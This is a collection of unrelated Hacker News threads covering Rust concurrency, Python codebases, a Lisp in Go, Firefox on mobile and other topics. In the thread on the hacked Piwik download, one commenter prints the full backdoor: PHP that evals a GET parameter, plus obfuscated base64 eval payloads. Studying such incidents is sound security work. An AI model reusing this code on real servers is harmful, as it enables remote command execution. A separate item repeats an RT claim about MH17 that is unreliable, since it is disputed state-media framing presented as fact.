However! Linear logic has another interpretation, a Curry-Howard interpretation. You can also view it as a type system for a concurrent language based on message-passing, where your types describe the _protocols_ message-channels obey. "I have an apple and a banana" corresponds to a channel which will first produce an apple, then a banana, then close. This is known as the session-types interpretation[2].

At first glance it may seem that this interpretation of linear logic and Rust's interpretation are unconnected. I doubt it; in logic, everything connects to everything else. It's no coincidence, for example, that ownership (linearity) is what you need in order to send mutable values across a channel without copying. There is a deeper structure waiting here to be discovered, and I for one am deeply excited about it.

[1] In Rust's case, technically they are affine types. An affine type is a linear type whose values can be freely dropped, i.e. deallocated.

[2] Session types have been around for a long time, but only fairly recently was the connection to linear logic discovered.

Links/papers on session types:

1."Propositions as Sessions" by Wadler ([http://homepages.inf.ed.ac.uk/wadler/papers/propositions- as-...](http://homepages.inf.ed.ac.uk/wadler/papers/propositions-as- sessions/propositions-as-sessions-jfp.pdf))

2\. Caíres and Pfenning, "Session types as intuitionistic linear propositions" ([http://www.cs.cmu.edu/~fp/papers/concur10.pdf](http://www.cs.cmu.edu/~fp/papers/concur10.pdf))

3\. Pfenning's published works page ([http://www.cs.cmu.edu/~fp/publications.html](http://www.cs.cmu.edu/~fp/publications.html)).

<comment><AUTHOR> We may end up adding linear types, not just affine, to Rust as well: [https://github.com/rust-lang/rfcs/issues/814](https://github.com/rust- lang/rfcs/issues/814)

<comment><USER17> From the RFC you linked:

"First, the `linear` attribute as described here does not create true `linear` types: when unwinding past a `linear` type, the `linear` attribute will be ignored, and a `Finalize` trait could be invoked. Supporting unwinding means that Rust's linear types would in effect still be affine."

<comment><USER18> Rust always has unwinding, and the finalizer can just call `abort` to make this as linear as you can.

</comment></comment></comment></comment><comment><USER19> Can someone please write a Clojury lisp that compiles to Rust without immutability (by default) and concurrency primitives, since thread safety is guaranteed by the rust compiler?

I love Clojure, but this would be a completely different beast, a crazed DRAGON probably.

PS: I _want_ a Dragon

<comment><USER20> Sounds like you want a Rust port of Shen[1]. AFAIK there are no real[2] efforts to do that... yet.

[1] [http://shenlanguage.org](http://shenlanguage.org)

[2] [https://github.com/michaelsbradleyjr/shen.rs](https://github.com/michaelsbradleyjr/shen.rs)

</comment></comment><comment><USER21> And here's me, happy building apps with Erlang/Elixir with their concurrency model.

<comment><USER22> Immutability sure makes this stuff easy in Erlang.

EriPascal, an ancestor of Erlang, used runtime ownership for passing mutable binaries around. Once you send the binary in a message it is a runtime error to use it again afterwards.

</comment></comment><comment><USER23> I can't wait for a mature idris+mature rust. It will be a better world then.

<comment><USER24> It makes me sad that Idris is (explicitly) never going to be an industrial language - so many nice things in it.

<comment><USER23> I think it will do just fine as an industrial language, when you have the senior architect being the idris expert. His job will be to write the DSL for the engineers to code in. Idris already has hooks into C and Java and who knows what else by then. It won't work well if you expect to replace your java brigade with an idris brigade. Why would you need one anyway? I wonder if I'm being naive.

</comment></comment></comment><comment><USER25> I am slightly confused about why the MutexGuard type is required in the locking example. Why can locking a lock not just return &mut? The API as written does so eventually anyway, through access(). I guess the API as written allows you to call access() multiple times, but I do not see how this is a useful property if the mutex stays locked for the entire scope of the MutexGuard anyway.

<comment><USER26> The key is that the MutexGuard is responsible for _unlocking_ (and it does so automatically on destruction). That way, you're tying the scope for the &mut reference to the scope in which the lock is actually held.

<comment><USER27> Similarly, I quite don't understand what in the type signatures precisely tie MutexGuard to the result of access.

Like, in the "Disaster averted" example the mutex section, how is it detecting that "error: `guard` does not live long enough"? I see that access returns a borrowed mutable T. But, how does the compiler know that that's borrowed from guard instead of a hypothetical second or third parameter or from some other (global?) state altogether?

Edit: Or maybe if a function returns a borrow, then the borrow cannot outlive the scope of the function?

<comment><USER26> What's going on here is a bit of shorthand. If you don't use the shorthand, the signature looks like:

        fn access<'a, T: Send>(guard: &'a mut MutexGuard<T>) -> &'a mut T;

This says that the incoming borrow and the returned borrows have identical scopes (officially called "lifetimes" in Rust; 'a here is a lifetime variable.) It's a very typical pattern: if you return some borrowed data, it generally comes from a borrow you were given, and the shorthand allows you to leave this implicit in cases where it's clear.

 __EDIT FOR CLARITY __: in particular, you 're saying that if you take a "sublease" from something you've already borrowed, that sublease is valid for no longer than the original lease. So for example if you borrow a field out of a borrowed structure, the access to the field can last no longer than you had access to the original structure. In this case, we're saying that access to the data lasts no longer than the lock is held.

I'd recommend [http://blog.skylight.io/rust-means-never-having-to-close- a-s...](http://blog.skylight.io/rust-means-never-having-to-close-a-socket/) if you want to get a bit more of a feel for how this works.

The details about the shorthand are here: [https://github.com/rust- lang/rfcs/pull/141](https://github.com/rust-lang/rfcs/pull/141)

</comment></comment></comment></comment><comment><USER28> everything mentioned can be done in C++11 and lthread_cpp

[http://lthread-cpp.readthedocs.org](http://lthread-cpp.readthedocs.org)

<comment><USER13> What is interesting is not so much that Rust has shared-memory concurrency (BTW, isn't lthread a M:N threading library? Everything in the article is 1:1) but that it can make this statically safe. Perhaps I am missing something, but I see no evidence from your repository that lthread enforces any of the static safety guarantees discussed in the article, which is not surprising as many of them fundamentally depend on lifetimes and borrowing.

<comment><USER28> Possible M:N.. by default it's 1:1. It's 1 lthread scheduler per actual pthread.

static safety guarantees can come with auto pointers (unique_ptr in particular). This is why I said lthread_cpp & C++11.

<comment><USER13> std::unique_ptr is a significant improvement over prior options, but it can neither ensure correct usage of a mutex (in the sense that it can't cause a data race) nor preserve data race safety for references into another thread's stack. Both of these rely on Rust's ability to limit reference lifetimes, which C++11 doesn't really have (C++14 has an extremely limited form of it in rvalue references, but it's not sufficient to replicate what's in this article). unique_ptr also can't really statically guarantee uniqueness (it's done at runtime instead), meaning it doesn't quite work with channels; and in combination with other C++ features (such as references or shared_ptr) you can also see data races through it, since it doesn't prevent mutation; thus, it isn't able to guarantee safety for use with channels either.

<comment><USER28> unique_ptr transfers ownership. No 2 threads can be working on the same object unless you go out of our way to cheat unique_ptr behavior.

Statically or at runtime guarantees don't buy me much. Regarding mutations, const and copy/move constructors give you want u want. Generally, all you need to do is have 1 thread create an std::unique_ptr<Class> object and pass it to the channel for other thread to pick it up.

<comment><USER13> Regardless of whether you feel that these static guarantees buy you anything, C++ does not have them and Rust does; the two solutions are not equivalent. Const references only guarantee that you are not mutating through the reference, not that someone else isn't--if you are writing a library that accepts one, you cannot prevent misuse by users. This is an important difference from Rust. In any case, you still haven't explained how unique_ptr helps with the other two things I mentioned (ensuring that data protected by a mutex cannot be accessed without acquring the lock, and safely sharing and/or mutating data on another thread's stack). The blog post explains how Rust does it; C++ simply does not have the necessary types.</comment></comment></comment></comment></comment></comment>


Nestlé Makes Billions Bottling Water It Pays Nearly Nothing For - <AUTHOR> https://www.bloomberg.com/news/features/2017-09-21/nestl-makes-billions-bottling-water-it-pays-nearly-nothing-for?cmpid=socialflow-twitter-business&utm_content=business&utm_campaign=socialflow-organic&utm_source=twitter&utm_medium=social <comment><USER3> Heavily voted/discussed 22 days ago:

[https://news.ycombinator.com/item?id=15309190](https://news.ycombinator.com/item?id=15309190)

</comment><comment><USER4> True need - versus - water snobbery. Here in Toronto, I see water snobs buying bottled water of assorted brands, versus free tap water. Part of this is the urge by the restaurant to monetize water (routinely free in an open glass) with a high priced bottle with a low true cost. In Puerto Rico = true need, thus bottled water is just a simple way to transport water in human useable form.

Fresh water is virtually free in most places in Canada, not so in the Negev, so why should Nestle not do this? We tax Nestle at several levels, retail VAT at 13% as well as corporate taxes. Every second, of every day we allow more than Nestle's annual consumption to flow into the North Atlantic - <USER2> nothing. Sure, they should limit Nestle so locals do not run dry. This may mean seasonal restrictions on what you can bottle to ensure this. Otherwise that water ends up in the sea. Let Nestle operate, as restrictions allow, for their good and our good...</comment>


The Language Construction Kit - <AUTHOR> http://www.zompist.com/kit.html

<comment><USER2> I bought the paper book and was a bit disappointed by it. The material is fairly basic, so that you don't learn much, and the quality of the typesetting is quite poor... :/ (Maybe the first criticism doesn't apply to the "advanced" sequel, though.)

<comment><USER3> Upvoted for generously delivering information that you think would be helpful and that I couldn't have known without buying the book myself.

</comment></comment><comment><USER4> Whoah, I've enjoyed this "webchapter" for 12 or so years! It's how I got interested in linguistics.

</comment><comment><USER5> Be sure to click on the "What a geek you must be. Get a life!" link.

</comment><comment><USER6> I was hoping this was like OSKit for programming languages. Of course, I suppose that's called Parrot.

</comment><comment><USER7> If you are newly interested in conlangs then check out ithkuil. Very advanced in a way and quite interesting.</comment>


Ask HN: Really great Python code - <AUTHOR>

So I've got an intermediate fluency with Python, but it's time for me to start writing some serious software and I'd like to get a feel for how things are Actually Done in Python.
Sifting through books is fun and all, but it seems to me that the most expedient route to cutting my teeth would be to dive into an existing code-base.
Is there a well written, publicly accessible Python project somewhere that can be perused to the end of getting an advanced feel for the language? <comment><USER2> The Python standard has some pure Python modules may be worth looking at. Doug Hellmann's Python Module of the Week, <http://www.doughellmann.com/PyMOTW/contents.html>, is good place to start.

I'd recommend looking at code that interests you. It will make reading the code more interesting and perhaps more useful. Here are some popular projects arrange by interest:

      Web framework: Django, Pylons
      TCP/IP networking: the official Bittorrent client, Mercurial, Tornado
      Database: SQLAlchemy, SQLObject

Past HN submissions are generally a good place to find interesting projects too: <http://searchyc.com/submissions/python?sort=by_points>

</comment><comment><USER3> * How to Write a Spelling Corrector <http://norvig.com/spell-correct.html>

* Case Study: Metaclass Hacking in fetchmailconf <http://catb.org/esr/writings/taoup/html/ch09s01.html>

<comment><USER4> All of Peter Norvig's Python code is fun to read.

</comment></comment><comment><USER5> django is a very tidy and pythonic code base. Ditto for twisted, but twisted might be more complicated than what you're trying to do (edit: or not). The recent Tornado server is of a an approachable size and from the look of it, very well engineered.

<comment><USER6> Doesn't Twisted have a lot of crusty, poorly-documented parts? I remember seeing a lot of old-style classes in Twisted Words.

</comment></comment><comment><USER7> There's tons of Python examples on Toby Segaran's blog: <http://blog.kiwitobes.com>

I know you've read some Python books, but you might want to check out Segaran's books too. The examples in Programming Collective Intelligence [<http://oreilly.com/catalog/9780596529321>] are all Python too I think..

<comment><USER8> "The examples in Programming Collective Intelligence are all Python too I think.."

The code in PCI was terrible, very unpythonic code the last time I looked at it.Not "really great" , which is what OP asked for.

Maybe someone has done a rewrite, but otherwise I'd be very careful using the PCI code as an exemplar.

</comment></comment><comment><USER9> I have gleaned many good ideas from the python libraries that are shipped with the standard CPython distribution. I found the implementation of the various TCP, HTTP, etc server classes very interesting. Learnt quite a bit by reading the Tkinter support stuff.</comment>


Ukrainian Su-25 fighter detected in close approach to MH17 before crash - <AUTHOR> http://rt.com/news/174412-malaysia-plane-russia-ukraine/

<comment><USER2> Cannot say better than the first comment there: "USA was quick to judge without showing their evidence, Russia shared their evidence but is not accusing. Makes you wonder, hmmm... Where is the US proof, I'm sure many americans would like to see it too.."</comment>


Disney Acquires Club Penguin in $700 Million Deal - <AUTHOR> http://mashable.com/2007/08/01/disney-clubpenguin/

<comment><USER2> Wow, I have younger cousins who spend every moment they get on Club Penguin. Not thinking much of the site and the games they provide at the time, I thought it was just another virtual kid's playground like Nick Jr. This does indicate a an interesting user population though. How young can we start embedding a brand into the minds of children (www.askforkids.com) ?</comment>


Americans 55 and older are suddenly losing jobs at the fastest pace in 4 years - <AUTHOR> https://www.cnbc.com/2019/04/05/americans-55-and-over-are-suddenly-losing-jobs-at-the-fastest-pace-in-4-years.html <comment><USER2> From the article:

"This data tends to be volatile monthly. I don't think it's a start of a trend," said Craig Dismuke, chief economist at Vining Sparks. "Broadly speaking, I think the labor market has been very good for people over the age of 55 and 65."

</comment><comment><USER3> From the article it's a small sample size from the group with the lowest unemployment rate.

It also doesn't include comparisons to other age groups, so while the article is clearly intending to say "older people are being unfairly fired" they aren't explicitly stating that.

The cynic in me is dubious that the failure to include comparisons was unintentional - if the comparative numbers showed drastically worse rates for 55+ than for other groups I would fully expect those numbers to be present.

</comment><comment><USER4> I'm surprised that LinkedIn can't do a study on this because they probably have the best data, even better than the government, if and only if, people actually update their profiles.

<comment><USER5> Ehm ... Linked in has better data that the tax office?</comment></comment>


Are Paywalls Saving Newspapers? - <AUTHOR> https://hbswk.hbs.edu/item/are-paywalls-saving-newspapers?cid=spmailing-27983607-WK%20Newsletter%2007-10-2019%20(1)-July%2010,%202019 <comment><USER2> Yes, but only the ones producing content that's consistently better researched and reported or provides more value than blogs.

</comment><comment><USER3> I believe so, yes.

Real journalism costs money and since the Ad market can't sustain newspapers any longer, a paywall is the only real way to go.</comment>


Alert: Backdoor placed in Piwik - <AUTHOR> http://piwik.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-hours-on-2012-nov-26th/ <comment><USER2> _attacker used a security issue in a WordPress plugin we were using_

I'm more interested in which WP plugin and if it was just out of date or if this is a new vulnerability.

<comment><USER3> You could use something like WPScan against their blog and then make educated guesses which one was the culprit...

<https://github.com/wpscanteam/wpscan>

</comment></comment><comment><USER3> Before you panic: the backdoor only has existed for a few hours in their latest.zip yesterday

You're not affected if:

\- you checked Piwik out of their sourcecode repository \- installed / upgraded Piwik before Nov 26th

Check if your piwik/core/Loader.php has some base64-encoded additions at the end of the file

If not, your installation is clean :)

</comment><comment><USER4> Piwik should release a new version so all users get a message about updating in their dashboard. That way someone who doesn't see this alert would be more likely to fix it.

<comment><USER5> Agreed, but that alone wouldn't be enough.

If you read into what the hack does on the forums [1], it actually downloads and installs a backdoor that can execute arbitrary commands on your server. Unless a new version explicitly looks for and removes those files, updating is not enough.

[1] <http://forum.piwik.org/read.php?2,97666>

</comment></comment><comment><USER6> Now, signed downloads might have helped if the keys are placed in a different spot than the download. But I guess nobody bothers to check signatures anyways.

</comment><comment><USER7>
           eval(gzuncompress(base64_decode('eF...

Classic PHP injection hack.

<comment><USER8> Makes me wonder if you can simply disable to the 'eval' command in php and avoid all these hacks?

Is it ever used by legitimate scripts?

<comment><USER9> Yes, you can disable any arbitrary internal function in PHP using disable_functions[1] directive in php.ini

[1] <http://php.net/manual/en/ini.core.php#ini.disable-functions>

Edit: Also, as noted below, this wouldn't prevent this or many other similar hacks as you need write access to the PHP script to put the eval in in the first place, so you could just write other code in there directly (and pull in extra scripts to execute by writing to disk etc. if necessary). Eval is typically dangerous, in its own right, when it is used by the legitimate developer who then allows unchecked code to be passed to it.

<comment><USER10> The problem with disable_functions is that eval is not an internal function, but a language construct. From the manual:

 _Only internal functions can be disabled using this directive._

It is possible to generate something like a list of all available internal functions, eval is missing here:

      $arr = get_defined_functions();
      var_dump($arr['internal']);

The Suhosin extension will let you block eval, if it is available:

[http://www.hardened- php.net/suhosin/configuration.html#suhos...](http://www.hardened- php.net/suhosin/configuration.html#suhosin.executor.disable_eval)

<comment><USER9> Apologies, you are correct, I was thinking of exec.

</comment></comment></comment></comment></comment><comment><USER11> > security issue in a WordPress plugin

Classic. Installing random crap from the wp ecosystem is something I expect of amateurs, but it's disappointing devs active in the foss community could install and store such things on the same account as their software downloads which btw aren't signed. Irresponsible. And why aren't they disclosing which plugin was it?

(and sort of a bit related, in case somebody missed it: [http://wpmu.org/why- you-should-never-search-for-free-wordpre...](http://wpmu.org/why-you-should- never-search-for-free-wordpress-themes-in-google-or-anywhere-else/) )

<comment><USER12> >Installing random crap

Are you saying that reputable plugins have never had security issues? If not, then what's your point?

</comment></comment><comment><USER13> Everyone should realize this by now, but if you must use Wordpress (or, host your own blog) please physically & logically separate it from critical files and infrastructure.

</comment><comment><USER14> it does not say what the inserted code does, could somebody be so nice? thanks!

<comment><USER15> The injected code disables error logging and allows remote users to execute arbitrary code on the server by submitting the 'g' and 's' parameters as part of a GET query string. It then looks for a file called 'lic.log' and aborts if it exists. Otherwise it decodes and decompresses a CURL script embedded in base64 before generating the 'lic.log' file, which prevents it from occurring more than once.

The real mystery is how that code got onto the development server to begin with. They can fix the zip file but it won't do much good if the machine is still compromised.

<comment><USER16> From what I gather on their post someone used a vulnerable Wordpress plugin to write onto the web server's filesystem, overwriting the latest.tar.gz file with it's own hacked version. You should be safe if you didn't update using that file.

</comment></comment></comment><comment><USER17> Would love to know how they detected it.

<comment><USER11> they didn't. some guy reported it on the forum <http://forum.piwik.org/read.php?2,97666>

<comment><USER17> Good find. Of course, it just changes my question to: How did _he_ find it?

<comment><USER18> Either he noticed effects of running the exploit (lic.log file?) or just downloaded the zip to read the code (I do this when some project's VCS doesn't have 'browse source' component or it's web component has no decent syntax highlighting), noticed base64 encoded chunks and got curious. I'd get curious for sure.

All this is really simple and not the real question, which instead is: where were checksums and why not in a safe place?

</comment></comment></comment></comment><comment><USER19> As luck would have it, I had the compromised version. First time trying out Piwik as well ;) Oh well, c'est la vie.

</comment><comment><USER20> Has anyone the compromised Loader.php?

<comment><USER10> The article says that the malicious code has been appended to the loader.php file. The malicious code cited in the article is abridged, here is a complete version:

      <?php Error_Reporting(0);     if(isset($_GET['g']) && isset($_GET['s'])) {
        preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
      }
      if (file_exists(dirname(__FILE__)."/lic.log")) exit;

eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWEpFGwk4nZr4zkRGQsJn3kMND6jcBgayIKnkIX3n2tu1EieGARMoH3W8NXjBp4JAVQq8GFR/KcAbcyoSfhX9vzeU0R8K3mH313Q4UnAykzj9707HzHZ67PJndpyPSqKHbZ0kLq6N0s5KdDxSKYz7wkwE80mW6e3m3gbz8l0i2jh50b2sRJEnwjxJ1tOjVvumO9RrPHsT9BZNSN0qm2F2TlLDO9EqSNMADWCHW/LmLsvmbn009XNOA38yH6qNUm+a97jyA55xzFpgViGxa2SlN2ObBZQeuxwwL9kocnrzBWVXDMo='))); ?><? eval(gzuncompress(base64_decode('eF5dj1tvgkAQhf+KDyRq0gdYUCGGB7RCaYGmwC6BpjHLpStXjbgoNv3vBUybxofJzJmc+U7mk1bRKd1Xoy0niAuBBzPATZh0+sVgWTkecTsZu540x96l9h2RMzKFvKjxISztJubNha7Crv40cYs3YjnC5bVdFWHKIXitSVT5c9MRBCPbUCvNiQ1QhoHYmJlytq4Kb2aQ2GXRBl7QJGux7TKouRbA+GHsqDaEqqS7nAU7CXNkI4hcpEoI5rncrZ6JPDRX7/34yWajx31j8Ks25C02BAWIAKQ+kE4GT2ik7c6dzQCXg9/O6hBE/XFUojLIWPkXoAzI0EMs1qS8z91ILrptOxKNNUTjm/znxxraBRpqB6B+x71L9J16MGgFj71hXPd/TJfH5ESP1SjEdTIXtnES7eNkwuB3Jv2YLr9/AJyvggM='))); ?><? eval(gzuncompress(base64_decode('eF59VH9r2zAQ/SouBGoxE3SSf2I0lnVOCXhxsZ3tj2BE2JIRKMnwEtgo/e47ycliuZMDcpDu3rvT6d5lbXtsZbn9eWxP+8MPtz2eD99dSkg6kVRcdu8CtQUhwY8jn7OAAbrgERMTWWXll6xc921AGmf6XwsjTQd7zIuPs7xa30sOCUsSRkN536xp4/bdOfH6W594CFaBuZELprffuTZOaKwmhuHkfJFnUhJn2qcMCSHb3/tTujsfvp32x4PzLCV1J9LHFABXgCskLxMZWS/DGxdztRh9zEpG3sOqzIunWuIfEvp2/2Dgj8WdPWbLWqVjR4Umql58zoqVwgR2TGRi5kWeF1/z4mFWL4qld20JOmXB4EPsnLHJWWb1qlzW5WxZzbOyzzlcI5yJyflUVHWPifd+49uREEDfxpgvsvxTZfRlRFS7h6oxY2s3AGiukWDs4tBuT+f24CBZ+tpvP0Bzot6bqg8IPGKqA4GJTdtu/hjSiYl477w9TtSxoVVqagxAeaggpFMVRnLuhHBu0Uyto6TNA04aoVDpK365vR5cXRe0nMEXH6x+WimJmSROgt3m+ddWFYLrPO8UC3m51E4bMQEbp1YT+N5twOk0gpE0wg5yLUrgCCyKjjOM+u/9INA1CMXl8bh5iUC3Dbsyhs6N8IqiGtVNHNoNP8VonzmA6rVPwtg67wAHnpldNKYLrT2ITEQ85ExGKBjtKEj6F8qIppY='))); ?>

<comment><USER21> Do you have a version of the core/DataTable/Filter/Megre.php file as well?

<comment><USER10> I'm sorry, I don't have this file, but I would like to look at it as well. If you find it somewhere on the web, could you post a link here?

</comment></comment></comment></comment><comment><USER22> About wp plugins : there is no quality control whatsoever in plugins published on wordpress.org . One should review the code before installing one.

Unfortunatly, because of the architecture of Wordpress and PHP , there is not "sandboxing" possible for plugins. However , always separate a wordpress blog or any downloaded scripts from the rest of your apps. they should not have access to anything but their space and their own database on the server.

A good architecture for a plugin system would be that the plugin uses some kind of DSL(like a template language , so no direct php) , and the core should be able to manage plugin rights ( like : "can read database" , "can write database" , "can write files" , ... ). A slideshow plugin should not be able to write files, or ever write to the database.

I'm really thinking about trying to develop such a system , with security at the core, which is not the case of Wordpress.</comment>


textfsm – Python module for parsing semi-structured text into Python tables - <AUTHOR> http://code.google.com/p/textfsm/

<comment><USER2> Quick link into the introductory documentation: [http://code.google.com/p/textfsm/wiki/TextFSMHowto](http://code.google.com/p/textfsm/wiki/TextFSMHowto) — one specifies a state machine in a text template file that can include regexes and has a simple "->" syntax for state transitions.

</comment><comment><USER3> _INTO TABLES_ should be added to the title, because otherwise it's not clear how this differs from expect.

to save others time - you could use it parsing things like the output from smartctl, or ifconfig.

<comment><AUTHOR> you're right. But there is limitation on the title - 80 chars.

</comment></comment><comment><USER4> On one hand, cool! On the other hand, uncool, if it encourages more people to have their programs interact with other programs via CLI parsing. We should be using APIs and libraries instead of working around the lack of them.

</comment><comment><USER5> > clitable

I'm sure im not the only one that misread that.</comment>


A revised Lisp interpreter in Go - <AUTHOR> http://www.oki-osk.jp/esc/golang/lisp4-en.html <comment><AUTHOR> This is a revised port of

Lisp interpreter in Dart [http://www.oki-osk.jp/esc/dart/lisp- en.html](http://www.oki-osk.jp/esc/dart/lisp-en.html)

Lisp interpreter in TypeScript [http://www.oki-osk.jp/esc/typescript/lisp- en.html](http://www.oki-osk.jp/esc/typescript/lisp-en.html)

to Go with the addition of "future" and "force" which makes use of goroutines' concurrency.

      (let ((a (future (prin1 "hi"))))
        (dotimes (i 20)
          (princ i)
          (princ " "))
        (force a))
      (terpri)

It is not deterministic when the word "hi" will be printed.

      $ lisp-light test.l
      0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 "hi"16 17 18 19
      $

<comment><USER2> Do you use a library for the multiprecision numbers?

<comment><AUTHOR> No, all numbers are represented by double precision floating point numbers (float64 in Go).

The previous version ([http://www.oki- osk.jp/esc/golang/lisp3.html](http://www.oki-osk.jp/esc/golang/lisp3.html) in Japanese) used Go's standard library "math/big" to represent big integers. However, the interpreter was also big and organized into several packages. I revised the interpreter smaller so that

1\. it can be compiled in the easiest way, and

2\. it may be comparable with the interpreter written in TypeScript.

Note that TypeScript (i.e. JavaScript effectively) represents all numbers in float64.

By the way, as for numbers only, the first interpreter ([http://www.oki- osk.jp/esc/golang/lisp.html](http://www.oki-osk.jp/esc/golang/lisp.html) in Japanese) was the most powerful. It implemented mixed mode arithmetic including arbitrary-precision _rational_ numbers with the "arith" package ([http://www.oki-osk.jp/esc/golang/arith.html](http://www.oki- osk.jp/esc/golang/arith.html) in Japanese). However, the first interpreter was so tiny as a Lisp that it had no macros, while it was organized into several files.

</comment></comment></comment><comment><USER3> How does this compare performance-wise to a compiler?

<comment><USER4> I don't think people write lisp interpreters for performance reasons. It's more a computer science exercise which helps you understand languages better.

</comment></comment><comment><USER5> at least is sounds better than kakapo:

[https://github.com/bytbox/kakapo](https://github.com/bytbox/kakapo)

</comment><comment><USER6> Would not a JavaScript interpreter be more useful, especially considering the wider use of it?

<comment><AUTHOR> It may be so. However, JavaScript (TypeScript) lacks concurrency and easy extendability with native codes.</comment></comment>


The Video-Game Programmer Saving Our 21st-Century Souls - <AUTHOR> http://www.esquire.com/features/best-and-brightest-2008/future-of-video-game-design-1208-2

<comment><USER2> "what if some influential genius had recognized the threat and stood up and yelled Stop?"

I guess influential is defined by impact, so no influential genius could do so. But the warnings were there, and are here. And have been here. It's been a long time coming, but Nietzsche wrote a century ago, "The massive influx of impressions is so great; surprising, barbaric, and violent things press so overpoweringly--'balled up into hideous clumps'--in the youthful soul; that it can save itself only by taking recourse in premeditated stupidity."

I've long liked that term, 'premeditated stupidity'. It certainly seems to fill the bill for most games. And why not, if one looks for refuge in their games? A moment of solace, of control (however illusory), where everything can once again _make sense_.

Did some digging and found what has been, for me, an influential essay on this topic. In "Harper's" April, 2002, Thomas de Zengotita writes, "To get relief, you have to stumble into the Greyhound bus station in Albany, or some old side0street barbershop that time forgot, into someplace not yet subjected to the renovating ministrations of the International Red Brick and Iron Filigree Restoration Corporation. And 'stumble' is the key concept here. Accidental places are the only real places left."

Sounds a bit like the meadow, except it becomes The Meadow, itself succumbing (at least in the minds of others) to the simple category fetishism that seems insurmountable.

"It would be irrelevant to object by asking, 'Well, how else are we supposed to do it?' There isn't any other way to do it. That's the point. This isn't a consultant's memo. This is a serious diagnosis of a serious condition. Would we rather not know about it because it happens to be incurable? This goes much deeper than subject matter, or political bias, the usual fodder. It determines the way we frame everything. Like all that is most profound in human custom, this agreement is almost physical, an attunement, more music than semantics. It instills and expresses, moment by moment, the _attitude_ we bring to living in this world of surfaces."

</comment><comment><USER3> There might not be a "Citizen Kane", but to say that the video game medium so far lacks the artistic qualities of other mediums is both shortsighted and showing that it comes from an "older" generation (and I'm close to 30 myself, so there are probably posters that see me as an old geezer).

I am more than willing to ascribe artistic qualities to some of the games that defined my childhood - I think that the comedic values in some of the early adventure games are not at all lesser than those of movies or other genres, and why is being awe-inspiring good if it's a movie or other "art-approved" media and bad if it's a Final Fantasy videogame? (even if it's lacking in some other aspect). Are some of the better RPGs worse artistically than a book in an equivalent genre?.

The article is, of course, arguing only one side to make it more interesting :) and make people reply like I am :P

</comment><comment><USER4> Link goes to the second page. Here is the first: [http://www.esquire.com/features/best-and- brightest-2008/futu...](http://www.esquire.com/features/best-and- brightest-2008/future-of-video-game-design-1208)

</comment><comment><USER5> Do a thought experiment: imagine somebody who knows a lot about some legitimate form of art. Say, classical music, or painting. Would he be impressed with great works of art in other legitimate art forms, given enough time to appreciate them? Would he be impressed with a pixel wife and a quick lesson about how we all die? My guess is no, and the reason is that this is not art, but pretentious hippie crap, about to join mountains of other pretentious hippie crap in the toilet of history.

<comment><USER6> Do a thought experiment: imagine somebody who knows an insignificant amount. Say, asdflkj. Would he be willing to trivialize matters without offering any reasonable arguments? My guess is yes, and the reason is that I know he's already digested a multipage article and decided that he can imagine someone rejecting something by labeling it.

<comment><USER5> Neither of us offered any "reasonable arguments". I didn't because you can't prove that a piece of alleged art is trite. You can only see it if you know what great art feels like to your senses. I can't teach you to develop a feeling for art in a post.

But at least my appeal to authority trumps your aimless snark.</comment></comment></comment>


Ask HN: Why is Firefox on Mobile's marketshare insignificant? - <AUTHOR> Actually it makes a lot more sense to have Firefox on Mobile than the desktop as it is the only browser (as far as I know) that allows you to block ads via extensions like Ublock Origin.
I am painfully aware, thanks to my immediate family, that the common man is not aware of the implications of losing privacy and it's value.
But surely the impact of ads on browsing experience is much more pronounced and annoying on mobile owing to the smaller screen, slower bandwidth and limited processing power (?).
Firefox offers a vastly superior browsing experience in that regard compared to leading browsers like Chrome which even prohibit extensions.  I often endup having 200 pr more open tabs on Firefox mobile and it has never been a problem (Open tabs double as ToBeRead list) . May be it has crashed twice in the past 2 years. I have never lost a tab during the crash, a power failure or a restart. Always quite fast.
That is a very clear improvement, and in my opinion 10x better, on status quo.
So why is not Firefox much more popular on mobile? <comment><USER2> Declining popularity on desktop as people moved to moblie.

FireFox has taken a "strong stance" on security at the expense of usability. I'm sure you could track the number of sites they refuse to support agiant its decline and find corrolation. Not letting you bypass ssl on localhost or the lan or read from CDs or the local file system or low security legacy systems on the lan make it far less useful as a generic gui than it should be. I use it and keep chromium handy for when it fails me. I dont blame people for switching permanently when it fails them and something else "just works". Plus of course Apple forbid a browser choice and Goolge push their spyware hard on Android. Mozilla of late assume the only use of a browser is browsing the Internet. They are very wrong. Dev tools used to be great on ff so many sites worked better on ff than other browsers. They shot themselves in the foot when they messed up firebug and split the community. That was the point I noticed devs stop using it as a first choice. Then they broke all existing plugins with no replacement when they moved off xul. That cant have helped. If you check bug reports youll find a lot of "wont fix" indicative of the overall change to not supporting users needs. Its open source in name only. even chrome has far more forks. Trying to do anything with firefox code other than firefox on the internet is a non-starter. Dont get me started on use of their js engine vs v8

</comment><comment><USER3> I would assume for the same reason that Mozilla sued Microsoft in the 90s.

If your browser not installed be default, people will have to a) Know about your app b) Believe that it is better c) Understand how to install your app d) Be willing to install it.

Because Android and iOS have their browsers installed be default, they have a distinct advantage.

</comment><comment><USER4> Since we are talking about Firefox again:

One point that bothers me with desktop use stats is that so many bots and crawlers are based on Chrome. This must have a negative impact on the measured percentage of Desktop firefox users. (You can remove some bots from your stats when the user agent is very clear like "googlebot/Yandex/Facebook", but you can't get them all)

</comment><comment><USER5> As someone who moved to Firefox on android just a couple of years ago. I stuck with Chrome for the longest time because i didn't know that Firefox had extensions, or that i could play Youtube in the background. For the longest time I never saw why I should bother.

<comment><USER6> You didn't know Firefox supported extensions? Chrome still doesn't support extensions on mobile.

</comment></comment><comment><USER7> I cannot tweak Firefox on iOS therefore I cannot safely use it.</comment>


